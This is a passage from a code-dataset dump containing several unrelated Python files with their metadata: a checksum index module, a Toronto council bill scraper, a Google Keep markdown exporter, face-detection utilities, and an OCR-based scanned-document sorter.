= hashlib.sha256()\n\n with open(file_path, 'rb') as file:\n while True:\n chunk = file.read(hasher.block_size)\n if not chunk:\n break\n hasher.update(chunk)\n\n return hasher.hexdigest()\n\n\ndef load_index(file_path: str) -> dict:\n \"\"\"\n Load the checksums from given index file\n :param file_path: path to the index file\n :return: loaded checksums\n \"\"\"\n checksums = {}\n with open(file_path, 'r') as file:\n for line in file:\n clean_line = line.rstrip()\n part = clean_line.split(\":\")\n checksums[part[0]] = part[1]\n return checksums\n\n\ndef save_index(file_path: str, checksums: dict):\n \"\"\"\n Save given index file\n :param file_path: path to the index file\n :param checksums: checksums to be saved\n \"\"\"\n with open(file_path, 'w+') as file:\n for entry, checksum in checksums.items():\n file.write(\"{}:{}\\n\".format(entry, checksum))\n\n\ndef compute_index(directory: str) -> dict:\n \"\"\"\n Compute index for given directory\n :param directory: directory to compute index for\n :return: computed index\n \"\"\"\n checksums = {}\n for entry in Path(directory).rglob(\"*\"):\n if entry.is_file() and INDEX_FILE not in entry.as_posix():\n checksums[entry.as_posix().lstrip(directory)] = compute_file_checksum(entry.as_posix())\n return checksums\n\n\ndef diff_index(previous: dict, current: dict) -> (dict, dict):\n \"\"\"\n Compute the difference between previous & current index\n :param previous: the previous index (last state)\n :param current: the current index (new state)\n :return: tuple, with (new/changed) entries first, deleted entries second\n \"\"\"\n changed = []\n deleted = []\n for entry, value in current.items():\n if entry not in previous or previous.get(entry) != value:\n changed.append(entry)\n\n for entry in previous:\n if entry not in current:\n deleted.append(entry)\n\n return changed, deleted\n", "sub_path": "ftpsync/index.py", "file_name": "index.py", "file_ext": "py", "file_size_in_byte": 2357, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "hashlib.sha256", "line_number": 17, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 62, "usage_type": "call"}]} {"seq_id": "251630455", "text": "from __future__ import unicode_literals\n\nfrom collections import defaultdict\nfrom copy import copy\nfrom pupa.scrape import Bill\nfrom utils import CanadianScraper\n\nimport datetime\nimport lxml.etree as etree\nimport traceback\nimport pytz\nimport re\n\n# TODO: Create ticket to move lxmlize into pupa.scrape.Base\n\nACTION_CLASSIFICATION = {\n 'Adopted': 'passage',\n 'Adopted on Consent': 'passage',\n 'Amended': 'amendment-amended',\n 'Confirmed': 'passage',\n 'Deferred': 'deferred',\n 'Deferred Indefinitely': 'deferred',\n 'Intro Failed': None,\n 'No Action': None,\n 'No Quorum': 'failure',\n 'Not Adopted': None,\n 'Noted/Filed': 'filing',\n 'Received': None,\n 'Referred': 'committee-referral',\n 'Recinded': 'failure',\n 'Withdrawn': 'withdrawal',\n 'Without Recs': None,\n 'Waive Referral': None,\n # Made this one up\n 'Introduced': 'introduction',\n}\n\n\nclass TorontoBillScraper(CanadianScraper):\n AGENDA_ITEM_SEARCH_URL = 'http://app.toronto.ca/tmmis/findAgendaItem.do?function=doSearch&itemsPerPage=1000&sortBy=meetingDate&sortOrder=A'\n AGENDA_ITEM_URL_TEMPLATE = 'http://app.toronto.ca/tmmis/viewAgendaItemHistory.do?item={}'\n\n TIMEZONE = 'America/Toronto'\n date_format = '%B %d, %Y'\n\n start_date = datetime.datetime(2014, 12, 2)\n end_date = datetime.datetime.today() + datetime.timedelta(days=14)\n\n def scrape(self):\n for agenda_item in self.agendaItems(date_from=self.start_date, date_to=self.end_date):\n # TODO: Add agenda_item type to OCD\n leg_type = 'bill'\n\n title = agenda_item['Title'].replace('\\n', ' ')\n title_re = re.compile('^(.+?)(?: - (?:by )?((?:Deputy )?Mayor|Councillor) (.+), seconded by ((?:Deputy )?Mayor|Councillor) (.+))?$')\n title, primary_role, primary_sponsor, secondary_role, secondary_sponsor = re.match(title_re, title).groups()\n\n b = Bill(\n identifier=agenda_item['Item No.'],\n title=title,\n legislative_session=None,\n classification=leg_type,\n from_organization={'name': self.jurisdiction.name},\n )\n b.add_source(agenda_item['url'], note='web')\n\n if primary_sponsor and secondary_sponsor:\n b.add_sponsorship(primary_sponsor, 'mover', 'person', True)\n b.add_sponsorship(secondary_sponsor, 'seconder', 'person', False)\n\n # TODO: Fake session for now\n b.legislative_session = '2014-2018'\n\n agenda_item_versions = self.agendaItemVersions(agenda_item['url'])\n\n # Use one version's full_text (will be most recent)\n b.extras['full_text'] = agenda_item_versions[0]['full_text']\n\n for version in agenda_item_versions:\n action_date = self.toDate(version['date'])\n\n if 'Summary' in version['sections']:\n # TODO: Investigate whether these vary between versions, as\n # we perhaps don't need to add one for each\n b.add_abstract(version['sections']['Summary'], note='', date=action_date)\n\n if not version['action']:\n continue\n if re.match(r'\\d+:\\d+ [A|P]M', version['action']):\n continue\n\n action_description = version['action']\n responsible_org = version['responsible_org']\n action_class = ACTION_CLASSIFICATION.get(version['action'])\n\n def is_recommendation(version):\n return any('Recommendations' in s for s in version['sections'].keys())\n\n if responsible_org == 'City Council':\n responsible_org = self.jurisdiction.name\n else:\n if action_class == 'passage':\n action_class = 'committee-passage'\n\n if is_recommendation(version):\n action_class = 'committee-passage-favorable'\n\n b.add_action(\n action_description,\n action_date,\n organization={'name': responsible_org},\n classification=action_class\n )\n\n yield b\n\n def agendaItems(self, date_from=None, date_to=None):\n for agenda_item_summary in self.searchAgendaItems(date_from, date_to):\n yield agenda_item_summary\n\n def searchAgendaItems(self, date_from=None, date_to=None):\n \"\"\"\n Submit a search query on the agenda item search page, and return a list\n of result pages.\n \"\"\"\n page = self.lxmlize(self.AGENDA_ITEM_SEARCH_URL + '&fromDate={}&toDate={}'.format(date_from.strftime('%Y-%m-%d'), date_to.strftime('%Y-%m-%d')))\n for agenda_item_summary in self.parseSearchResults(page):\n yield agenda_item_summary\n\n def parseSearchResults(self, page):\n \"\"\"Take a page of search results and return a sequence of data\n of tuples about the agenda_item, of the form\n\n TODO: Fix column names\n ('Document ID', 'Document URL', 'Type', 'Status', 'Introduction Date'\n 'Passed Date', 'Main Sponsor', 'Title')\n \"\"\"\n for agenda_item, headers, _ in self.parseDataTable(page):\n id_key = headers[1]\n\n agenda_item_id = agenda_item[id_key]['label']\n agenda_item[id_key] = agenda_item_id\n\n agenda_item_url = self.AGENDA_ITEM_URL_TEMPLATE.format(agenda_item_id)\n agenda_item['url'] = agenda_item_url\n\n yield agenda_item\n\n def agendaItemVersions(self, agenda_item_url):\n page = self.lxmlize(agenda_item_url)\n versions = []\n for version in self.parseAgendaItemVersions(page):\n versions.append(version)\n\n return versions\n\n def parseAgendaItemVersions(self, page):\n script_text = page.xpath('//head/script[not(@src)]/text()')[0]\n index_qs = re.findall(r'if\\(index == (\\d)\\){', script_text)\n function_qs = re.findall(r'var f = \"(.*)\";', script_text)\n agenda_item_id_qs = re.findall(r'agendaItemId:\"(.*)\"', script_text)\n url_template = 'http://app.toronto.ca/tmmis/viewAgendaItemDetails.do?function={}&agendaItemId={}'\n for i, f, id in sorted(zip(index_qs, function_qs, agenda_item_id_qs), key=lambda tup: tup[2]):\n agenda_item_version_url = url_template.format(f, id)\n version = self.agendaItemVersion(agenda_item_version_url)\n\n xpr = '//div[@id=\"header{}\"]'.format(i)\n header = page.xpath(xpr)[0].text_content()\n header_re = re.compile('^(.+) consideration on (.+)$')\n org, date = re.match(header_re, header).groups()\n version.update({\n 'responsible_org': org,\n 'date': date,\n })\n\n if 'Origin' in version['sections']:\n origin_text = version['sections']['Origin']\n intro_date_re = re.compile('\\((.+?)\\) .+')\n intro_date = re.match(intro_date_re, origin_text).group(1)\n intro_version = copy(version)\n intro_version.update({\n 'date': intro_date,\n 'action': 'Introduced',\n })\n yield intro_version\n\n yield version\n\n def parseDataTable(self, table):\n \"\"\"\n Legistar uses the same kind of data table in a number of\n places. This will return a list of dictionaries using the\n table headers as keys.\n \"\"\"\n headers = table.xpath(\".//th\")\n rows = table.xpath(\".//tr[@class='hoverOver']\")\n\n keys = []\n for header in headers:\n text_content = header.text_content().replace(' ', ' ').strip()\n if text_content:\n keys.append(text_content)\n else:\n keys.append(header.xpath('.//input')[0].value)\n\n for row in rows:\n try:\n data = defaultdict(lambda: None)\n\n for key, field in zip(keys, row.xpath(\"./td\")):\n text_content = self._stringify(field)\n\n if field.find('.//a') is not None:\n address = self._get_link_address(field.find('.//a'))\n if address:\n value = {'label': text_content,\n 'url': address}\n else:\n value = text_content\n else:\n value = text_content\n\n data[key] = value\n\n yield data, keys, row\n\n except Exception as e:\n print('Problem parsing row:')\n print(etree.tostring(row))\n print(traceback.format_exc())\n raise e\n\n def _get_link_address(self, link):\n url = None\n if 'onclick' in link.attrib:\n onclick = link.attrib['onclick']\n if (onclick is not None and\n onclick.startswith((\"radopen('\",\n \"window.open\",\n \"OpenTelerikWindow\"))):\n url = self.BASE_URL + onclick.split(\"'\")[1]\n elif 'href' in link.attrib:\n url = link.attrib['href']\n\n return url\n\n def _stringify(self, field):\n for br in field.xpath(\"*//br\"):\n br.tail = \"\\n\" + br.tail if br.tail else \"\\n\"\n for em in field.xpath(\"*//em\"):\n if em.text:\n em.text = \"--em--\" + em.text + \"--em--\"\n return field.text_content().replace(' ', ' ').strip()\n\n def agendaItemVersion(self, agenda_item_version_url):\n \"\"\"\n Details:\n * type\n * ward(s)\n\n Possible sections:\n * [ Board | Community Council | Committee ] Decision Advice and Other Information\n * Origin\n * [ Board | Community Council | Committee ] Recommendations\n * Summary\n * Financial Impact\n * Background Information [ (Board | Community Council | Committee | City Council) ] (parsed)\n * Speakers\n * Communications [ (Board | Community Council | Committee | City Council) ] (parsed)\n * Declared Interests [ (Board | Community Council | Committee | City Council) ]\n * Subsections? (recursive)\n * Motions (parsed)\n * Votes (optional)\n * Rulings (parsed) Ex: http://app.toronto.ca/tmmis/viewAgendaItemHistory.do?item=2016.EY12.29\n * Votes (optional on challenge)\n\n TODO: Investigate \"Bills and By-law\" [BL] code for bill context\n \"\"\"\n page = self.lxmlize(agenda_item_version_url)\n version = {}\n version.update({\n 'type': page.xpath(\"//table[@class='border'][1]//td[2]\")[0].text_content().strip().lower(),\n 'action': page.xpath(\"//table[@class='border'][1]//td[3]\")[0].text_content().strip(),\n 'full_text': etree.tostring(page, pretty_print=True).decode(),\n })\n\n wards = page.xpath(\"//table[@class='border'][1]//td[5]\")[0].text_content().strip().lower()\n wards_re = re.compile('ward:(.*)')\n matches = re.match(wards_re, wards)\n if matches:\n wards = matches.group(1)\n if wards != 'all':\n wards = wards.split(', ')\n else:\n wards = 'all'\n\n version.update({'wards': wards})\n\n section_nodes = page.xpath(\"//table[@width=620 and .//font[@face='Arial' and @size=3] and .//tr[3]]\")\n sections = {}\n for node in section_nodes:\n section_title = node.find('.//tr[1]/td//font/b').text_content().strip()\n section_content = node.find('.//tr[2]/td')\n sections[section_title] = section_content.text_content()\n\n if 'Motions' in sections:\n sections['Motions'] = self.parseAgendaItemVersionMotions(sections['Motions'])\n\n version.update({'sections': sections})\n\n return version\n\n def parseAgendaItemVersionMotions(self, motions_section):\n return motions_section\n\n def toTime(self, text):\n time = datetime.datetime.strptime(text, self.date_format)\n time = pytz.timezone(self.TIMEZONE).localize(time)\n return time\n\n def toDate(self, text):\n return self.toTime(text).date().isoformat()\n", "sub_path": "ca_on_toronto/bills.py", "file_name": "bills.py", "file_ext": "py", "file_size_in_byte": 12455, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "utils.CanadianScraper", "line_number": 39, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 47, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 47, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 55, "usage_type": "call"}, {"api_name": "re.match", "line_number": 56, "usage_type": "call"}, {"api_name": "pupa.scrape.Bill", "line_number": 58, "usage_type": "call"}, {"api_name": "re.match", "line_number": 89, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 159, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 160, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 161, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 169, "usage_type": "call"}, {"api_name": "re.match", "line_number": 170, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 178, "usage_type": "call"}, {"api_name": "re.match", "line_number": 179, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 180, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 208, "usage_type": "call"}, {"api_name": "lxml.etree.tostring", "line_number": 229, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 229, "usage_type": "name"}, {"api_name": "traceback.format_exc", "line_number": 230, "usage_type": "call"}, {"api_name": "lxml.etree.tostring", "line_number": 284, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 284, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 288, "usage_type": "call"}, {"api_name": "re.match", "line_number": 289, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 317, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 317, "usage_type": "attribute"}, {"api_name": "pytz.timezone", "line_number": 318, "usage_type": "call"}]} {"seq_id": "586301718", "text": "\"\"\"\nExport Google Keep notes to markdown files.\n\nAfter obtaining your Google Keep data from https://takeout.google.com/,\nunzip the folder and cd into it.\n\nCopy this file in that folder and run:\n python export.py\n\"\"\"\n\nimport os\nimport json\nimport datetime\n\n\nPRINT_RAW = False\nPRINT_PRETTY_JSON = True\n\nclass Note:\n def __init__(self, filename, data):\n self._name = filename.replace('.json', '')\n self._title = data['title']\n if 'labels' in data:\n self.labels = data['labels'][0]['name']\n else:\n self.labels = 'ROOT'\n #self.savename = self.labels + ' -- ' + self._name\n self.savename = self._name\n self._raw_date = data['userEditedTimestampUsec']\n self._date = datetime.datetime.fromtimestamp(self._raw_date/1_000_000)\n self._isTrashed = data['isTrashed']\n self._isArchived = data['isArchived']\n self._isList = True if 'listContent' in data else False\n if self._isList:\n checklist = \"\"\n for item in data['listContent']:\n tick = '+' if item['isChecked'] else ' '\n checklist += \"- [{}] {}\\n\".format(tick, item['text'])\n self._content = checklist\n del checklist\n else:\n self._content = data['textContent']\n\n def _format_date(self):\n # return a date of this type: Tuesday November 03, 2015, 03:20:51 PM\n return self._date.strftime(\"%A %B %d, %Y, %I:%M:%S %p\") # https://strftime.org/\n\n def isTrashed(self):\n return self._isTrashed\n\n def __repr__(self):\n # Add header to self._content containing title and last edited\n note = \"# {} {}\\n\".format(self._name, \"(Archived)\" if self._isArchived else \"\")\n note += \"Last edited: {}\\n\\n\".format(self._format_date())\n note += self._content\n return note\n\n\nif __name__ == '__main__':\n\n ROOT_FOLDER = 'Keep'\n notes = [filename for filename in os.listdir(ROOT_FOLDER) if '.json' in filename]\n\n parsed_notes = {}\n for filename in notes:\n\n # Parse note\n with open(\"{}/{}\".format(ROOT_FOLDER, filename), 'r') as json_file:\n data = json.load(json_file)\n\n if PRINT_RAW:\n if PRINT_PRETTY_JSON:\n print(json.dumps(data, indent=4, sort_keys=True))\n print()\n else:\n print(\"{}\\n\\n\".format(data))\n\n # Save note to dictionary if not trashed\n note = Note(filename, data)\n if not note.isTrashed():\n parsed_notes[note.savename] = note\n\n del notes\n\n # Create \"markdown\" folder\n if not os.path.isdir('markdown'):\n os.mkdir('markdown')\n\n # Write dictionary to markdown files\n for savename in parsed_notes:\n name = savename.replace('/', '-', 999)\n subdir = parsed_notes[savename].labels.replace('/', '-', 999)\n if not os.path.isdir(os.path.join('markdown', subdir)):\n os.mkdir(os.path.join('markdown', subdir))\n with open(os.path.join('markdown', subdir, f'{name}.md'), 'w') as f:\n f.write(str(parsed_notes[savename]))\n print(f'Saved {len(parsed_notes.keys())} notes to /markdown')\n", "sub_path": "export.py", "file_name": "export.py", "file_ext": "py", "file_size_in_byte": 3204, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.datetime.fromtimestamp", "line_number": 30, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 62, "usage_type": "call"}, {"api_name": "json.load", "line_number": 69, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 93, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path", "line_number": 94, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}]} {"seq_id": "321039911", "text": "# coding=utf-8\n\"\"\"\nPublic utils\n\"\"\"\nimport base64\nimport cStringIO\nimport numpy as np\nimport os\nimport threading\n\nimport cv2\nimport dlib\nimport imagehash\nimport openface\nfrom PIL import Image\n\nfrom classes import FaceDetected\n\n_DEFAULT_IMG_W = 400\n_DEFAULT_IMG_H = 300\n\n_IMG_RESIZE_BASE = 725.0\n\n# Model paths\nmodelDir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'face_models')\ndlibModelDir = os.path.join(modelDir, 'dlib')\nopenfaceModelDir = os.path.join(modelDir, 'openface')\n\n\nclass FaceCapture:\n \"\"\"\n 面部图像抓取类\n \"\"\"\n\n def __init__(self, cam_id):\n self._video_capture = cv2.VideoCapture(cam_id)\n self._timer = None\n self._image = None\n\n def __del__(self):\n self._video_capture.release()\n\n def _capture(self):\n ret, frame = self._video_capture.read()\n # resize_frame = cv2.resize(frame, (0, 0), fx=0.5, fy=0.5)\n pImg = Image.fromarray(frame, \"RGB\")\n pImg.show()\n self._image = pImg\n\n def getFaces(self, count):\n \"\"\"\n 捕获用户面部图像\n :param count:捕获图像张数 \n :return: 图像的nparray数组\n \"\"\"\n for i in range(count):\n self._timer = threading.Timer(1, self._capture)\n self._timer.start()\n self._timer.join()\n self._timer.cancel()\n self._video_capture.release()\n return self._image\n\n\nclass FaceUtil:\n \"\"\"\n 面部图像处理工具类\n \"\"\"\n\n @staticmethod\n def getAlign():\n \"\"\"\n get faces by landmarks model\n :return: \n \"\"\"\n try:\n return openface.AlignDlib(os.path.join(\n dlibModelDir,\n \"shape_predictor_68_face_landmarks.dat\"))\n except RuntimeError:\n print ('Please configure face_models.')\n\n @staticmethod\n def getNeuralNet():\n \"\"\"\n 获取面部特征向量神经网络\n :return: \n \"\"\"\n return openface.TorchNeuralNet(os.path.join(\n openfaceModelDir, 'nn4.small2.v1.t7'), 96, False)\n\n @staticmethod\n def eigenValue(image):\n \"\"\"\n 面部向量特征提取\n :param image: \n :return: \n \"\"\"\n pil_img = FaceUtil.convertImg(image, 'pil')\n np_img = FaceUtil.convertImg(image, 'np')\n representation = FaceUtil.getNeuralNet().forward(np_img)\n perceptual_hash = str(imagehash.phash(pil_img))\n return perceptual_hash, representation.tolist()\n\n @staticmethod\n def convertImg(image, type):\n # global pil_img\n # global np_img\n # Loding image from base64\n if isinstance(image, basestring):\n head = \"data:image/jpeg;base64,\"\n assert (image.startswith(head))\n imgdata = base64.b64decode(image[len(head):])\n img = cStringIO.StringIO(imgdata)\n pil_img = Image.open(img)\n # pil_img.show()\n np_img = np.asarray(pil_img)\n print('image convert:basestring')\n elif isinstance(image, Image.Image):\n pil_img = image\n np_img = np.asarray(image)\n print('image convert:Image.Image')\n elif isinstance(image, np.ndarray):\n np_img = image\n pil_img = Image.fromarray(image)\n print('image convert:np.ndarray')\n else:\n print('image convert:unknown')\n\n if type is 'np':\n return np_img\n elif type is 'pil':\n return pil_img\n\n @staticmethod\n def _resize(image):\n \"\"\"\n 重置图像尺寸\n :param image: \n :return: \n \"\"\"\n im_width, im_height = image.size\n ratio = 1.0\n\n if max(im_width, im_height) < _IMG_RESIZE_BASE:\n return ratio, image\n\n if im_width >= im_height:\n # resize base on width\n ratio = _IMG_RESIZE_BASE / im_width\n im_height = int(ratio * im_height)\n im_width = int(_IMG_RESIZE_BASE)\n else:\n # resize base on height\n ratio = _IMG_RESIZE_BASE / im_height\n im_width = int(ratio * im_width)\n im_height = int(_IMG_RESIZE_BASE)\n\n image = image.resize((im_width, im_height), Image.BILINEAR)\n return ratio, image\n\n @staticmethod\n def faceDetect(image):\n scale, img = FaceUtil._resize(image)\n temp = np.asarray(img)\n temp = np.fliplr(temp)\n img_width, img_height = img.size\n rgbFrame = np.zeros(\n (img_height, img_width, 3),\n dtype=np.uint8\n )\n rgbFrame[:, :, 0] = temp[:, :, 0]\n rgbFrame[:, :, 1] = temp[:, :, 1]\n rgbFrame[:, :, 2] = temp[:, :, 2]\n\n all_faces = FaceUtil.getAlign().getAllFaceBoundingBoxes(rgbFrame)\n all_faces = sorted(\n all_faces,\n key=lambda rect: rect.width() * rect.height(),\n reverse=True\n )\n\n face_list = []\n for x in xrange(0, min(3, len(all_faces))):\n face_list.append(all_faces[x])\n\n detected_list = []\n for face_box in face_list:\n landmarks = FaceUtil.getAlign().findLandmarks(rgbFrame, face_box)\n alignedFace = FaceUtil.getAlign().align(\n 96, rgbFrame, face_box,\n landmarks=landmarks,\n landmarkIndices=FaceUtil.getAlign().OUTER_EYES_AND_NOSE\n )\n if alignedFace is None:\n continue\n\n face = FaceDetected()\n face.img = alignedFace\n face.area = dlib.rectangle(\n left=int(face_box.left() / scale),\n top=int(face_box.top() / scale),\n right=int(face_box.right() / scale),\n bottom=int(face_box.bottom() / scale))\n\n face.landmarks = []\n for p in landmarks:\n face.landmarks.append((int(p[0] / scale), int(p[1] / scale)))\n\n detected_list.append(face)\n return detected_list\n", "sub_path": "face_recognition_server/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 6002, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 36, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 46, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 46, "usage_type": "name"}, {"api_name": "threading.Timer", "line_number": 57, "usage_type": "call"}, {"api_name": "openface.AlignDlib", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "openface.TorchNeuralNet", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "imagehash.phash", "line_number": 102, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 113, "usage_type": "call"}, {"api_name": "cStringIO.StringIO", "line_number": 114, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 115, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 115, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 117, "usage_type": "call"}, {"api_name": "PIL.Image.Image", "line_number": 119, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 119, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 123, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 125, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 125, "usage_type": "name"}, {"api_name": "PIL.Image.BILINEAR", "line_number": 159, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 159, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.fliplr", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 170, "usage_type": "attribute"}, {"api_name": "classes.FaceDetected", "line_number": 198, "usage_type": "call"}, {"api_name": "dlib.rectangle", "line_number": 200, "usage_type": "call"}]} {"seq_id": "8759427", "text": "import logging\nimport os\nimport re\nimport shutil\nimport threading\nfrom re import findall\nimport json\nimport uuid\nfrom time import sleep\nfrom shutil import copyfile\nfrom PIL import Image\nimport pytesseract\n\nfrom pdf2image import convert_from_path\nimport webapp\n\nDOCUMENT_PATH = \"public/documents/\" \nTEMP_PATH = \"public/temp/\"\nSCANS_PATH = \"scans/\"\nDATA_PATH = \"public/data/\"\n\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s: %(name)s - %(levelname)s - %(message)s')\nfilesData = [] # Nested Dic\n\n\n# We need a dic before and a dic after\ndef save_file_temp(file, id, companies, category, dates):\n # Save json\n meta_data = {\n \"id\": str(id),\n \"project\": \"\",\n \"company\": companies,\n \"category\": category,\n \"date\": dates\n }\n\n jsonFile = open(DATA_PATH + str(id) + \".json\", \"w\")\n json.dump(meta_data, jsonFile)\n jsonFile.close()\n\n # Move from scans to temp\n shutil.move(SCANS_PATH + file, \"public/temp/\" + str(id) + \".pdf\")\n\n\ndef get_Info(file_list):\n # define keys\n rechnung = \"Rechnung\"\n angebot = \"Angebot\"\n gutachten = \"Gutachten\"\n text = \"\"\n # file = \"\"\n\n for file in file_list:\n id = uuid.uuid4().hex\n\n # 1. kopieren\n copyfile(SCANS_PATH + file, TEMP_PATH + file + \"_copy\")\n # 2. copy convert\n pdf_to_png(file + \"_copy\", TEMP_PATH)\n # 3. analize copy\n text = pytesseract.image_to_string(Image.open (TEMP_PATH + file + \"_copy.png\"), lang=\"deu\")\n # 4. delete copy\n if os.path.isfile (TEMP_PATH + file + \"_copy\"):\n os.remove (TEMP_PATH + file + \"_copy\")\n\n if os.path.isfile (TEMP_PATH + file + \"_copy.png\"):\n os.remove (TEMP_PATH + file + \"_copy.png\")\n # Extract Date\n dates = find_date(text)\n\n # Find company\n file1 = open('companies.json', 'r')\n\n companies = json.load(file1)\n\n found_companies = []\n\n\n found_companies = findall(r'((?:\\w(?:\\, ?| |(?: ?\\& ?)|-|\\. ?)?)*)(?:Bautenschutz|eG|Architekturbüro|Abruch-Entsorgungskonzepte|Elektroinstallation|mbH|Versorgungstechnik|Fliesenlegermeister|Bedachungen|Bauelemente|Golaschewski|Malerfachbetrieb|Fugentechnik|Trockenbau|GbR|e.?K.?|GmbH|AG|AkNW|AKNW|SE|(?:GmbH.?&.?Co.?KG))',text)\n found_companies = list(dict.fromkeys(found_companies))\n try:\n found_companies += findall(r'?i)(?:\\bINGENIEURBÜRO|Projektbau|Architekturbüro|Fugentechnik\\b) ((?:\\w(?:\\, ?| |(?: ?\\& ?)|-|\\. ?)?)*)(?:\\n|,|.)',text)\n except:\n print (\"\")\n found_companies = list(dict.fromkeys(found_companies))\n\n\n # Determine if Rechnung or Angebot or Gutachten\n category_r = findall(rechnung, text)\n catergory_a = findall(angebot, text)\n catergory_g = findall(gutachten, text)\n\n category_r = list(dict.fromkeys(category_r))\n catergory_a = list(dict.fromkeys(catergory_a))\n catergory_g = list(dict.fromkeys(catergory_g))\n\n if category_r is not None:\n save_file_temp(file, id, found_companies, category_r, dates)\n elif catergory_a is not None:\n save_file_temp(file, id, found_companies, catergory_a, dates)\n elif catergory_g is not None:\n save_file_temp(file, id, found_companies, catergory_a, dates)\n\n\ndef get_temp_files():\n list = []\n for file in os.listdir (TEMP_PATH):\n if file.endswith('.pdf'):\n id = file.split(\".\")[0]\n f = open(DATA_PATH + id + '.json', 'r')\n data = json.load(f)\n\n list.append(\n {\n \"path\": file,\n \"data\": data\n }\n )\n return list\n\n\ndef set_companies(company_name):\n f = open('companies.json', )\n data = json.load(f)\n data.append(company_name)\n with open('companies.json', \"w\") as company:\n json.dump(data, company)\n\n\ndef get_companies():\n f = open('companies.json', )\n data = json.load(f)\n f.close()\n return data\n\n\ndef set_projects(project_name):\n f = open('projects.json', )\n data = json.load(f)\n data.append(project_name)\n with open('projects.json', \"w\") as project:\n json.dump(data, project)\n\n\ndef get_projects():\n f = open('projects.json', )\n data = json.load(f)\n f.close()\n return data\n\n\ndef read_files():\n # Folder scan\n dirs = os.listdir(SCANS_PATH)\n dirs.sort()\n file_list = []\n # Liste an zu kontrollierenden Files erstellen\n for file in dirs:\n if file.endswith('.pdf'):\n file_list.append(file)\n return file_list\n\n\ndef pdf_to_png(filename, path):\n images = convert_from_path(path + \"/\" +filename)\n images[0].save(path + filename + '.png', 'PNG')\n\n\ndef find_date(text):\n months = [ #Maybe use it later TODO \n [\n \"Januar\", \"januar\", \"01\" \n ], [\n \"Februar\", \"februar\", \"02\"\n ], [\n \"März\", \"märz\", \"03\" \n ] , [\n \"April\", \"april\", \"04\" \n ] , [\n \"Mai\", \"Mai\", \"05\" \n ] , [\n \"Juni\", \"juni\", \"06\" \n ] , [\n \"Juli\", \"juli\", \"07\" \n ] , [\n \"August\", \"08\", \"august\"\n ] , [\n \"September\", \"september\",\"09\" \n ] , [\n \"Oktober\",\"oktober\", 